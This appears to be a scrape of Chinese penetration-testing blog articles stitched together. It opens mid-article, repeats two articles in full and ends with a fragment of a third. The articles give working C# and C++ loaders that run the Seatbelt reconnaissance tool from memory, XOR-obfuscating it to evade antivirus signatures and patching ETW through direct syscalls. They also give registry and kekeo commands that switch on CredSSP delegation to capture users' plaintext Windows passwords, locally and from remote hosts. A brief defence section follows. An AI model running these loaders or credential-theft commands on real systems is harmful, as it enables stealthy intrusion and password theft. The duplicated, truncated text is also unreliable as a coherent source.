2.使用

需要传入参数指定具体的命令,例如运行所有检查并返回所有输出:

Seatbelt.exe -group=all -full

详细的命令可参考项目的说明:

https://github.com/GhostPack/Seatbelt#command-line-usage

0x03 使用Assembly.Load加载Seatbelt并传入参数的方法

实现语言:C#

实现思路:

将Seatbelt.exe作base64编码后保存到数组中,再使用Assembly.Load()作base解码后进行加载,最后向Main函数传入参数。

实现代码:

1.将Seatbelt.exe作base64编码并返回结果

c#实现代码:

using System;
using System.Reflection;
namespace TestApplication
{
    public class Program
    {
        public static void Main()
        {

            byte[] buffer = System.IO.File.ReadAllBytes("Seatbelt.exe");
            string base64str = Convert.ToBase64String(buffer);
            Console.WriteLine(base64str);
        }
    }
}

可以使用Visual Studio或者直接使用csc.exe进行编译:

.Net 3.5下使用csc.exe编译的命令:

C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe base64.cs

.Net 4.0下使用csc.exe编译的命令:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe base64.cs

编译成功后生成base64.exe,执行后获得对Seatbelt.exe作base64编码后的字符串。

2.使用Assembly.Load()作base解码后进行加载,最后向Main函数传入参数

c#实现代码:

using System;
using System.Reflection;
namespace TestApplication
{
    public class Program
    {
        public static void Main(string[] args)
        {

            string base64str = "";

            byte[] buffer = Convert.FromBase64String(base64str);           
            object[] commands = args;
            Assembly assembly = Assembly.Load(buffer);   
            try
            {       
                assembly.EntryPoint.Invoke(null, new object[] { commands });
            }
            catch
            {
                MethodInfo method = assembly.EntryPoint;
                if (method != null)
                {
                    object o = assembly.CreateInstance(method.Name);                    
                    method.Invoke(o, null);
                }
            }
        }
    }
}

将Seatbelt.exe作base64编码后的字符串替换以上代码中的;同样,以上代码可以使用Visual Studio或者直接使用csc.exe进行编译。

0x04 使用execute-assembly加载Seatbelt并传入参数的方法

实现语言:C++

实现思路:

将Seatbelt.exe的内容保存在数组中,读取后使用Load_3(…)加载.NET程序集,最后向Main函数传入参数

为了去除Seatbelt.exe的特征码,可以将Seatbelt.exe中逐个字符作异或运算后再保存到数组中

这里使用HostingCLR作为代码开发的模板。

HostingCLR的代码未解决参数传递的问题,无法向.NET程序集的Main函数传入参数,代码位置:

https://github.com/etormadiv/HostingCLR/blob/master/HostingCLR/HostingCLR.cpp#L218

我的代码解决了参数传递的问题,并且通过将Seatbelt.exe中逐个字符作异或运算后再保存到数组中的方式去除Seatbelt.exe的特征码。

实现代码:

1.将exe文件中逐个字符作异或运算后再保存为新的文件

c++实现代码:

int main(int argc, char* argv[])
{
 if (argc != 3)
 {
  printf("File_XOR_generator\n");
  printf("Usage:\n");
  printf("%s  \n", argv[0]);
  printf("Eg:\n");
  printf("%s test.exe 0x01\n", argv[0]);

  return 0;
 }

 int x;
 sscanf_s(argv[2], "%x", &x);

 FILE* fp;
 int err = fopen_s(&fp, argv[1], "ab+");
 if (err != 0)
 {
  printf("\n[!]Open file error");
  return 0;
 }
 fseek(fp, 0, SEEK_END);
 int len = ftell(fp);
 unsigned char *buf = new unsigned char[len];
 fseek(fp, 0, SEEK_SET);
 fread(buf, len, 1, fp);
 fclose(fp);
 printf("[*] file name:%s\n", argv[1]);
 printf("[*] file size:%d\n", len);

 for (int i = 0; i < len; i++)
 {
  buf[i] = buf[i]^ x;
 }
 char strNew[256] = {0};
 snprintf(strNew, 256, "xor_%s", argv[1]);

 FILE* fp2;
 err = fopen_s(&fp2, strNew, "wb+");
 if (err != 0)
 {
  printf("\n[!]createfile error!");
  return 0;
 }
 fwrite(buf, len, 1, fp2);
 fclose(fp2); 
 printf("[*] XOR file name:%s\n", strNew);
 printf("[*] XOR file size:%d\n", len);
}

这里将Seatbelt.exe中逐个字符同0x01作异或运算,命令行参数如下:

File_XOR_generator.exe Seatbelt.exe 0x01

· 生成文件xor_Seatbelt.exe

· 使用hxd打开xor_Seatbelt.exe

将文件内容复制成C代码的格式,如下图:

image.png

2.使用Load_3(…)加载.NET程序集,最后向Main函数传入参数

完整代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/HostingCLR_with_arguments_XOR.cpp

在使用时需要修改代码以下位置:

· 替换数组rawData中的内容

· 定义mscorlibPath的路径

· 定义runtimeVersion的版本

代码会对数组rawData中的内容逐个字符同0x01作异或运算,还原出Seatbelt.exe的文件内容,再进行加载并向Main函数传入参数。

编译后生成文件HostingCLR_with_arguments_XOR.exe,测试命令实例:

HostingCLR_with_arguments_XOR.exe -group=all

使用Process Explorer查看进程HostingCLR_with_arguments_XOR.exe的.NET Assemblies项,如下图:

image.png

能够获得.NET程序集的名称

如果想要隐藏.NET程序集的名称,需要绕过ETW的检测。

3.绕过ETW的检测

这里参考代码https://github.com/outflanknl/TamperETW/

引入其中绕过EWT的代码,代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/HostingCLR_with_arguments_XOR_TamperETW.cpp

这里还需要添加asm文件Syscalls.asm,实现对汇编文件的调用。

新建项,选择C++文件,输入文件名Syscalls.asm,具体内容如下:

.code

; Reference: https://j00ru.vexillium.org/syscalls/nt/64/

; Windows 7 SP1 / Server 2008 R2 specific syscalls

ZwProtectVirtualMemory7SP1 proc
  mov r10, rcx
  mov eax, 4Dh
  syscall
  ret
ZwProtectVirtualMemory7SP1 endp

ZwWriteVirtualMemory7SP1 proc
  mov r10, rcx
  mov eax, 37h
  syscall
  ret
ZwWriteVirtualMemory7SP1 endp

ZwReadVirtualMemory7SP1 proc
  mov r10, rcx
  mov eax, 3Ch
  syscall
  ret
ZwReadVirtualMemory7SP1 endp

; Windows 8 / Server 2012 specific syscalls

ZwProtectVirtualMemory80 proc
  mov r10, rcx
  mov eax, 4Eh
  syscall
  ret
ZwProtectVirtualMemory80 endp

ZwWriteVirtualMemory80 proc
  mov r10, rcx
  mov eax, 38h
  syscall
  ret
ZwWriteVirtualMemory80 endp

ZwReadVirtualMemory80 proc
  mov r10, rcx
  mov eax, 3Dh
  syscall
  ret
ZwReadVirtualMemory80 endp

; Windows 8.1 / Server 2012 R2 specific syscalls

ZwProtectVirtualMemory81 proc
  mov r10, rcx
  mov eax, 4Fh
  syscall
  ret
ZwProtectVirtualMemory81 endp

ZwWriteVirtualMemory81 proc
  mov r10, rcx
  mov eax, 39h
  syscall
  ret
ZwWriteVirtualMemory81 endp

ZwReadVirtualMemory81 proc
  mov r10, rcx
  mov eax, 3Eh
  syscall
  ret
ZwReadVirtualMemory81 endp

; Windows 10 / Server 2016 specific syscalls
 
ZwProtectVirtualMemory10 proc
  mov r10, rcx
  mov eax, 50h
  syscall
  ret
ZwProtectVirtualMemory10 endp

ZwWriteVirtualMemory10 proc
  mov r10, rcx
  mov eax, 3Ah
  syscall
  ret
ZwWriteVirtualMemory10 endp

ZwReadVirtualMemory10 proc
  mov r10, rcx
  mov eax, 3Fh
  syscall
  ret
ZwReadVirtualMemory10 endp

end

注:

Syscalls.asm的代码来自于https://github.com/outflanknl/TamperETW/blob/master/TamperETW/UnmanagedCLR/Syscalls.asm

Visual Studio2015在64位平台下使用汇编代码还需要作以下设置:

(1)鼠标右键选中工程->生成依赖项(Build Dependencies)->生成自定义(Build Customizations),勾选masm

如下图:

image.png

(2)鼠标右键选中文件Syscalls.asm->属性,将项类型(Item Type)设置为Microsoft Macro Assembler

如下图:image.png

编译后生成文件HostingCLR_with_arguments_XOR_TamperETW.exe

测试命令实例:

HostingCLR_with_arguments_XOR_TamperETW.exe -group=all

使用Process Explorer查看进程HostingCLR_with_arguments_XOR_TamperETW.exe的.NET Assemblies项,如下图:image.png

成功隐藏.NET程序集的名称

0x05 小结

本文介绍了两种通过内存加载Seatbelt的方法(Assembly.Load和execute-assembly),分别补全向.NET程序集的Main函数传入参数的实现代码。解决HostingCLR的参数传递问题,引入TamperETW的代码实现了绕过ETW,介绍了Visual Studio2015在64位平台下使用汇编代码的方法。

0x00 前言

Seatbelt是一个C#项目,可以用来对主机进行安全检查,在进攻和防御的角度都能发挥作用。

通过一条命令,就能够获得当前主机的多项配置信息,方便实用。

为了能够扩展Seatbelt的使用场景,在不修改Seatbelt任何代码的前提下,本文将要介绍两种通过内存加载Seatbelt的方法(Assembly.Load和execute-assembly),分别补全向.NET程序集的Main函数传入参数的实现代码。

之前的文章《从内存加载.NET程序集(Assembly.Load)的利用分析》《从内存加载.NET程序集(execute-assembly)的利用分析》 只介绍了向指定类的方法传入参数的实现代码。

0x01 简介

本文将要将介绍以下内容:

· Seatbelt的编译和使用

· 使用Assembly.Load加载Seatbelt并传入参数的方法

· 使用execute-assembly加载Seatbelt并传入参数的方法

· Visual Studio2015在64位平台下使用汇编代码的方法

0x02 Seatbelt的编译和使用

1.编译

工程地址:

https://github.com/GhostPack/Seatbelt

支持.NET 3.5和4.0

需要使用Visual Studio2017或者更高的版本进行编译。

2.使用

需要传入参数指定具体的命令,例如运行所有检查并返回所有输出:

Seatbelt.exe -group=all -full

详细的命令可参考项目的说明:

https://github.com/GhostPack/Seatbelt#command-line-usage

0x03 使用Assembly.Load加载Seatbelt并传入参数的方法

实现语言:C#

实现思路:

将Seatbelt.exe作base64编码后保存到数组中,再使用Assembly.Load()作base解码后进行加载,最后向Main函数传入参数。

实现代码:

1.将Seatbelt.exe作base64编码并返回结果

c#实现代码:

using System;
using System.Reflection;
namespace TestApplication
{
    public class Program
    {
        public static void Main()
        {

            byte[] buffer = System.IO.File.ReadAllBytes("Seatbelt.exe");
            string base64str = Convert.ToBase64String(buffer);
            Console.WriteLine(base64str);
        }
    }
}

可以使用Visual Studio或者直接使用csc.exe进行编译:

.Net 3.5下使用csc.exe编译的命令:

C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe base64.cs

.Net 4.0下使用csc.exe编译的命令:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe base64.cs

编译成功后生成base64.exe,执行后获得对Seatbelt.exe作base64编码后的字符串。

2.使用Assembly.Load()作base解码后进行加载,最后向Main函数传入参数

c#实现代码:

using System;
using System.Reflection;
namespace TestApplication
{
    public class Program
    {
        public static void Main(string[] args)
        {

            string base64str = "";

            byte[] buffer = Convert.FromBase64String(base64str);           
            object[] commands = args;
            Assembly assembly = Assembly.Load(buffer);   
            try
            {       
                assembly.EntryPoint.Invoke(null, new object[] { commands });
            }
            catch
            {
                MethodInfo method = assembly.EntryPoint;
                if (method != null)
                {
                    object o = assembly.CreateInstance(method.Name);                    
                    method.Invoke(o, null);
                }
            }
        }
    }
}

将Seatbelt.exe作base64编码后的字符串替换以上代码中的;同样,以上代码可以使用Visual Studio或者直接使用csc.exe进行编译。

0x04 使用execute-assembly加载Seatbelt并传入参数的方法

实现语言:C++

实现思路:

将Seatbelt.exe的内容保存在数组中,读取后使用Load_3(…)加载.NET程序集,最后向Main函数传入参数

为了去除Seatbelt.exe的特征码,可以将Seatbelt.exe中逐个字符作异或运算后再保存到数组中

这里使用HostingCLR作为代码开发的模板。

HostingCLR的代码未解决参数传递的问题,无法向.NET程序集的Main函数传入参数,代码位置:

https://github.com/etormadiv/HostingCLR/blob/master/HostingCLR/HostingCLR.cpp#L218

我的代码解决了参数传递的问题,并且通过将Seatbelt.exe中逐个字符作异或运算后再保存到数组中的方式去除Seatbelt.exe的特征码。

实现代码:

1.将exe文件中逐个字符作异或运算后再保存为新的文件

c++实现代码:

int main(int argc, char* argv[])
{
 if (argc != 3)
 {
  printf("File_XOR_generator\n");
  printf("Usage:\n");
  printf("%s  \n", argv[0]);
  printf("Eg:\n");
  printf("%s test.exe 0x01\n", argv[0]);

  return 0;
 }

 int x;
 sscanf_s(argv[2], "%x", &x);

 FILE* fp;
 int err = fopen_s(&fp, argv[1], "ab+");
 if (err != 0)
 {
  printf("\n[!]Open file error");
  return 0;
 }
 fseek(fp, 0, SEEK_END);
 int len = ftell(fp);
 unsigned char *buf = new unsigned char[len];
 fseek(fp, 0, SEEK_SET);
 fread(buf, len, 1, fp);
 fclose(fp);
 printf("[*] file name:%s\n", argv[1]);
 printf("[*] file size:%d\n", len);

 for (int i = 0; i < len; i++)
 {
  buf[i] = buf[i]^ x;
 }
 char strNew[256] = {0};
 snprintf(strNew, 256, "xor_%s", argv[1]);

 FILE* fp2;
 err = fopen_s(&fp2, strNew, "wb+");
 if (err != 0)
 {
  printf("\n[!]createfile error!");
  return 0;
 }
 fwrite(buf, len, 1, fp2);
 fclose(fp2); 
 printf("[*] XOR file name:%s\n", strNew);
 printf("[*] XOR file size:%d\n", len);
}

这里将Seatbelt.exe中逐个字符同0x01作异或运算,命令行参数如下:

File_XOR_generator.exe Seatbelt.exe 0x01

· 生成文件xor_Seatbelt.exe

· 使用hxd打开xor_Seatbelt.exe

将文件内容复制成C代码的格式,如下图:

image.png

2.使用Load_3(…)加载.NET程序集,最后向Main函数传入参数

完整代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/HostingCLR_with_arguments_XOR.cpp

在使用时需要修改代码以下位置:

· 替换数组rawData中的内容

· 定义mscorlibPath的路径

· 定义runtimeVersion的版本

代码会对数组rawData中的内容逐个字符同0x01作异或运算,还原出Seatbelt.exe的文件内容,再进行加载并向Main函数传入参数。

编译后生成文件HostingCLR_with_arguments_XOR.exe,测试命令实例:

HostingCLR_with_arguments_XOR.exe -group=all

使用Process Explorer查看进程HostingCLR_with_arguments_XOR.exe的.NET Assemblies项,如下图:

image.png

能够获得.NET程序集的名称

如果想要隐藏.NET程序集的名称,需要绕过ETW的检测。

3.绕过ETW的检测

这里参考代码https://github.com/outflanknl/TamperETW/

引入其中绕过EWT的代码,代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/HostingCLR_with_arguments_XOR_TamperETW.cpp

这里还需要添加asm文件Syscalls.asm,实现对汇编文件的调用。

新建项,选择C++文件,输入文件名Syscalls.asm,具体内容如下:

.code

; Reference: https://j00ru.vexillium.org/syscalls/nt/64/

; Windows 7 SP1 / Server 2008 R2 specific syscalls

ZwProtectVirtualMemory7SP1 proc
  mov r10, rcx
  mov eax, 4Dh
  syscall
  ret
ZwProtectVirtualMemory7SP1 endp

ZwWriteVirtualMemory7SP1 proc
  mov r10, rcx
  mov eax, 37h
  syscall
  ret
ZwWriteVirtualMemory7SP1 endp

ZwReadVirtualMemory7SP1 proc
  mov r10, rcx
  mov eax, 3Ch
  syscall
  ret
ZwReadVirtualMemory7SP1 endp

; Windows 8 / Server 2012 specific syscalls

ZwProtectVirtualMemory80 proc
  mov r10, rcx
  mov eax, 4Eh
  syscall
  ret
ZwProtectVirtualMemory80 endp

ZwWriteVirtualMemory80 proc
  mov r10, rcx
  mov eax, 38h
  syscall
  ret
ZwWriteVirtualMemory80 endp

ZwReadVirtualMemory80 proc
  mov r10, rcx
  mov eax, 3Dh
  syscall
  ret
ZwReadVirtualMemory80 endp

; Windows 8.1 / Server 2012 R2 specific syscalls

ZwProtectVirtualMemory81 proc
  mov r10, rcx
  mov eax, 4Fh
  syscall
  ret
ZwProtectVirtualMemory81 endp

ZwWriteVirtualMemory81 proc
  mov r10, rcx
  mov eax, 39h
  syscall
  ret
ZwWriteVirtualMemory81 endp

ZwReadVirtualMemory81 proc
  mov r10, rcx
  mov eax, 3Eh
  syscall
  ret
ZwReadVirtualMemory81 endp

; Windows 10 / Server 2016 specific syscalls
 
ZwProtectVirtualMemory10 proc
  mov r10, rcx
  mov eax, 50h
  syscall
  ret
ZwProtectVirtualMemory10 endp

ZwWriteVirtualMemory10 proc
  mov r10, rcx
  mov eax, 3Ah
  syscall
  ret
ZwWriteVirtualMemory10 endp

ZwReadVirtualMemory10 proc
  mov r10, rcx
  mov eax, 3Fh
  syscall
  ret
ZwReadVirtualMemory10 endp

end

注:

Syscalls.asm的代码来自于https://github.com/outflanknl/TamperETW/blob/master/TamperETW/UnmanagedCLR/Syscalls.asm

Visual Studio2015在64位平台下使用汇编代码还需要作以下设置:

(1)鼠标右键选中工程->生成依赖项(Build Dependencies)->生成自定义(Build Customizations),勾选masm

如下图:

image.png

(2)鼠标右键选中文件Syscalls.asm->属性,将项类型(Item Type)设置为Microsoft Macro Assembler

如下图:image.png

编译后生成文件HostingCLR_with_arguments_XOR_TamperETW.exe

测试命令实例:

HostingCLR_with_arguments_XOR_TamperETW.exe -group=all

使用Process Explorer查看进程HostingCLR_with_arguments_XOR_TamperETW.exe的.NET Assemblies项,如下图:image.png

成功隐藏.NET程序集的名称

0x05 小结

本文介绍了两种通过内存加载Seatbelt的方法(Assembly.Load和execute-assembly),分别补全向.NET程序集的Main函数传入参数的实现代码。解决HostingCLR的参数传递问题,引入TamperETW的代码实现了绕过ETW,介绍了Visual Studio2015在64位平台下使用汇编代码的方法。

0x00 前言

在渗透测试中,为了获得Windows系统中的用户口令,通常会选择读取lsass进程的内存。这种方法不仅需要获得系统的管理员权限,而且在更多情况下需要绕过系统对lsass进程的保护。

我在之前的文章《Windows下的密码hash——Net-NTLMv1介绍》曾介绍过使用InternalMonologue获得当前用户凭据的方法(通过SSPI调用对NTLM身份验证包(MSV1_0)的本地过程调用,以计算出NetNTLM响应),不需要对lsass进程操作。

本文将要介绍另外一种获得当前用户口令的方法,同样不需要对lsass进程操作。

这是Benjamin @gentilkiwi Delpy开源的kekeo在2018年添加的功能,只需要修改Windows系统的组策略,就能够以普通用户的权限获得用户的明文口令。

本文将要对其中的原理进行简要介绍,分析不同环境下的利用思路,给出防御建议。

0x01 简介

本文将要介绍以下内容:

· 实现原理

· 实现方法

· 利用分析

· 防御检测

0x02 实现原理

1.基础知识

CredSSP

全称Credential Security Support Provider protocol。

CredSSP协议的目的是将用户的明文密码从CredSSP客户端委派给CredSSP服务器。

CredSSP通常应用于远程桌面服务(Remote Desktop Protocol)和Windows远程管理(Windows Remote Management)(例如Powershell Remoting)。

CredSSP提供了加密的传输层安全协议通道。协商协议使用Kerberos和NTLM。

参考资料:

https://docs.microsoft.com/en-us/windows/win32/secauthn/credential-security-support-provider

2.通过组策略设置CredSSP的凭据分配

通过组策略可以指定使用CredSSP组件的应用程序是否发送默认凭据。

组策略位置:Computer Configuration->Administrative Templates->System->Credentials Delegation

如下图:

Alt text

Allow delegating default credentials表示在通过使用受信任的X509证书或Kerberos实现服务器身份验证时自动发送当前用户的凭据。

Allow delegating default credentials with NTLM-only server authentication表示在通过NTLM实现服务器身份验证时自动发送当前用户的凭据

组策略对应的注册表位置:HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation。

3.CredSSP的凭据分配在远程桌面服务上的应用

对于工作组环境,需要启用Allow delegating default credentials with NTLM-only server authentication。

对于域环境,需要启用Allow delegating default credentials。

开启对应的组策略后,在使用远程桌面连接时,会自动发送当前用户的凭据(明文格式,不是hash)。

数据结构如下:

TSPasswordCreds ::= SEQUENCE {
         domainName  [0] OCTET STRING,
         userName    [1] OCTET STRING,
         password    [2] OCTET STRING
 }

参考资料:

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cssp/17773cc4-21e9-4a75-a0dd-72706b174fe5

4.实现原理

综上,如果我们实现以下操作:

· 修改主机A的组策略,设置为自动发送当前用户的凭据

· 在主机B上面实现服务端的功能,接收主机A发送的请求

那么当我们控制主机A连接主机B时,主机B就能够获得主机A用户的明文口令。

CredSSP协议细节可参考:

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cssp/85f57821-40bb-46aa-bfcb-ba9590b8fc30

更近一步,如果我们实现以下操作:

· 修改主机A的组策略,设置为自动发送当前用户的凭据

· 在主机A上面实现服务端的功能,接收主机A自己发送的请求

我们同样能够获得用户的明文口令。

注:keko的实现方式是通过SMB协议创建命名管道,而不是RDP协议。

如下图:

Alt text

0x03 实现方法

通过修改注册表的方式添加组策略,命令如下:

reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefaultCredentials /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefCredentialsWhenNTLMOnly /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefault /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefNTLMOnly /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefaultCredentials /v 1 /t REG_SZ /d *
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefCredentialsWhenNTLMOnly /v 1 /t REG_SZ /d *

添加组策略后,需要等待用户重新登录并输入凭据后才能生效,例如锁屏、注销或重启等。

对于不同的网络环境,实现方法存在差异。

1.工作组网络

身份验证方式为NTLM。

(1)抓取本机口令

建立服务器的kekeo命令如下(普通用户权限):

tsssp::server

连接服务器的kekeo命令如下(普通用户权限):

tsssp::client /target:anyword

如下图:

Alt text

注:抓取本机口令时,target参数可以设置为任意字符。

2.域网络

身份验证方式为Kerberos

(1)抓取本机口令

建立服务器的kekeo命令如下(普通用户权限):

tsssp::server

连接服务器的kekeo命令如下(普通用户权限):

tsssp::client /target:anyword

注:抓取本机口令时,target参数可以设置为任意字符。

(2)抓取远程主机口令

建立服务器的kekeo命令如下(System权限):

tsssp::server

连接服务器的kekeo命令如下(普通用户权限):

tsssp::client /target:TERMSRV/COMPUTER01.test.com /pipe:\\COMPUTER01.test.com\pipe\kekeo_tsssp_endpoint

结果如下图:

Alt text

这里使用的参数为域内计算机帐户对应的SPN。

查看当前域内的所有SPN可以使用setspn命令:

setspn.exe -q */*

查看test域内的所有SPN:

setspn.exe -T test -q */*

0x04 利用分析

1.优点

不需要同lsass进程交互,所以能够绕过对lsass进程的保护。

在修改组策略后,只需要普通用户权限就能实现。

注:添加组策略后,需要等待用户重新登录并输入凭据后才能生效,例如锁屏、注销或重启等。

2.其他利用思路

(1)代码的提取

我将kekeo的tsssp::client功能单独提取出来,地址如下:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/tsssp_client.cpp

代码支持连接本地和远程服务器。

只需要填写pipi参数,我的代码会将target参数自动补全为TERMSRV/< spn >

连接本地的命令示例:

tsssp_client.exe localhost

测试如下图:

Alt text

连接远程服务器的命令示例:

tsssp_client.exe Computer01.test.com

测试如下图:

Alt text

kekeo的tsssp::server功能需要安装OSS ASN.1/C

注:使用试用版的OSS ASN.1/C编译生成的exe文件无法在未安装OSS ASN.1/C的系统下使用。

(2)抓取其他用户的口令

使用其他用户的token启动kekeo.exe或者tsssp_client.exe即可。

token的利用方法可参考《渗透技巧——Token窃取与利用》

0x05 防御检测

1.查询组策略配置

查询注册表的cmd命令如下:

reg query hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation

2.删除组策略配置

删除注册表项的cmd命令如下:

reg delete hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /f

0x06 小结

本文介绍了kekeo的tsssp模块在不同环境下的利用方法,结合利用思路给出防御建议。

0x00 前言

在渗透测试中,为了获得Windows系统中的用户口令,通常会选择读取lsass进程的内存。这种方法不仅需要获得系统的管理员权限,而且在更多情况下需要绕过系统对lsass进程的保护。

我在之前的文章《Windows下的密码hash——Net-NTLMv1介绍》曾介绍过使用InternalMonologue获得当前用户凭据的方法(通过SSPI调用对NTLM身份验证包(MSV1_0)的本地过程调用,以计算出NetNTLM响应),不需要对lsass进程操作。

本文将要介绍另外一种获得当前用户口令的方法,同样不需要对lsass进程操作。

这是Benjamin @gentilkiwi Delpy开源的kekeo在2018年添加的功能,只需要修改Windows系统的组策略,就能够以普通用户的权限获得用户的明文口令。

本文将要对其中的原理进行简要介绍,分析不同环境下的利用思路,给出防御建议。

0x01 简介

本文将要介绍以下内容:

· 实现原理

· 实现方法

· 利用分析

· 防御检测

0x02 实现原理

1.基础知识

CredSSP

全称Credential Security Support Provider protocol。

CredSSP协议的目的是将用户的明文密码从CredSSP客户端委派给CredSSP服务器。

CredSSP通常应用于远程桌面服务(Remote Desktop Protocol)和Windows远程管理(Windows Remote Management)(例如Powershell Remoting)。

CredSSP提供了加密的传输层安全协议通道。协商协议使用Kerberos和NTLM。

参考资料:

https://docs.microsoft.com/en-us/windows/win32/secauthn/credential-security-support-provider

2.通过组策略设置CredSSP的凭据分配

通过组策略可以指定使用CredSSP组件的应用程序是否发送默认凭据。

组策略位置:Computer Configuration->Administrative Templates->System->Credentials Delegation

如下图:

Alt text

Allow delegating default credentials表示在通过使用受信任的X509证书或Kerberos实现服务器身份验证时自动发送当前用户的凭据。

Allow delegating default credentials with NTLM-only server authentication表示在通过NTLM实现服务器身份验证时自动发送当前用户的凭据

组策略对应的注册表位置:HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation。

3.CredSSP的凭据分配在远程桌面服务上的应用

对于工作组环境,需要启用Allow delegating default credentials with NTLM-only server authentication。

对于域环境,需要启用Allow delegating default credentials。

开启对应的组策略后,在使用远程桌面连接时,会自动发送当前用户的凭据(明文格式,不是hash)。

数据结构如下:

TSPasswordCreds ::= SEQUENCE {
         domainName  [0] OCTET STRING,
         userName    [1] OCTET STRING,
         password    [2] OCTET STRING
 }

参考资料:

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cssp/17773cc4-21e9-4a75-a0dd-72706b174fe5

4.实现原理

综上,如果我们实现以下操作:

· 修改主机A的组策略,设置为自动发送当前用户的凭据

· 在主机B上面实现服务端的功能,接收主机A发送的请求

那么当我们控制主机A连接主机B时,主机B就能够获得主机A用户的明文口令。

CredSSP协议细节可参考:

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cssp/85f57821-40bb-46aa-bfcb-ba9590b8fc30

更近一步,如果我们实现以下操作:

· 修改主机A的组策略,设置为自动发送当前用户的凭据

· 在主机A上面实现服务端的功能,接收主机A自己发送的请求

我们同样能够获得用户的明文口令。

注:keko的实现方式是通过SMB协议创建命名管道,而不是RDP协议。

如下图:

Alt text

0x03 实现方法

通过修改注册表的方式添加组策略,命令如下:

reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefaultCredentials /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefCredentialsWhenNTLMOnly /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefault /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefNTLMOnly /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefaultCredentials /v 1 /t REG_SZ /d *
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefCredentialsWhenNTLMOnly /v 1 /t REG_SZ /d *

添加组策略后,需要等待用户重新登录并输入凭据后才能生效,例如锁屏、注销或重启等。

对于不同的网络环境,实现方法存在差异。

1.工作组网络

身份验证方式为NTLM。

(1)抓取本机口令

建立服务器的kekeo命令如下(普通用户权限):

tsssp::server

连接服务器的kekeo命令如下(普通用户权限):

tsssp::client /target:anyword

如下图:

Alt text

注:抓取本机口令时,target参数可以设置为任意字符。

2.域网络

身份验证方式为Kerberos

(1)抓取本机口令

建立服务器的kekeo命令如下(普通用户权限):

tsssp::server

连接服务器的kekeo命令如下(普通用户权限):

tsssp::client /target:anyword

注:抓取本机口令时,target参数可以设置为任意字符。

(2)抓取远程主机口令

建立服务器的kekeo命令如下(System权限):

tsssp::server

连接服务器的kekeo命令如下(普通用户权限):

tsssp::client /target:TERMSRV/COMPUTER01.test.com /pipe:\\COMPUTER01.test.com\pipe\kekeo_tsssp_endpoint

结果如下图:

Alt text

这里使用的参数为域内计算机帐户对应的SPN。

查看当前域内的所有SPN可以使用setspn命令:

setspn.exe -q */*

查看test域内的所有SPN:

setspn.exe -T test -q */*

0x04 利用分析

1.优点

不需要同lsass进程交互,所以能够绕过对lsass进程的保护。

在修改组策略后,只需要普通用户权限就能实现。

注:添加组策略后,需要等待用户重新登录并输入凭据后才能生效,例如锁屏、注销或重启等。

2.其他利用思路

(1)代码的提取

我将kekeo的tsssp::client功能单独提取出来,地址如下:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/tsssp_client.cpp

代码支持连接本地和远程服务器。

只需要填写pipi参数,我的代码会将target参数自动补全为TERMSRV/< spn >

连接本地的命令示例:

tsssp_client.exe localhost

测试如下图:

Alt text

连接远程服务器的命令示例:

tsssp_client.exe Computer01.test.com

测试如下图:

Alt text

kekeo的tsssp::server功能需要安装OSS ASN.1/C

注:使用试用版的OSS ASN.1/C编译生成的exe文件无法在未安装OSS ASN.1/C的系统下使用。

(2)抓取其他用户的口令

使用其他用户的token启动kekeo.exe或者tsssp_client.exe即可。

token的利用方法可参考《渗透技巧——Token窃取与利用》

0x05 防御检测

1.查询组策略配置

查询注册表的cmd命令如下:

reg query hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation

2.删除组策略配置

删除注册表项的cmd命令如下:

reg delete hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /f

0x06 小结

本文介绍了kekeo的tsssp模块在不同环境下的利用方法,结合利用思路给出防御建议。

0x00 前言

Outlook Web Access的缩写是OWA,是Exchange用于Web方式收发邮件的界面,默认对所有邮箱用户开启。

通常,我们会使用浏览器访问OWA并读取邮件。但站在渗透测试的角度,我们需要通过命令行实现相同的功能。

目前我没有看到合适的开源代码和参考资料,于是打算基于自己的理解编写Python代码实现读取邮件和下载附件的功能。

0x01 简介

本文将要介绍以下内容:

- 实现思路

- 实现细节

- 编写程序需要注意的问题

- 开源代码

- 使用流程

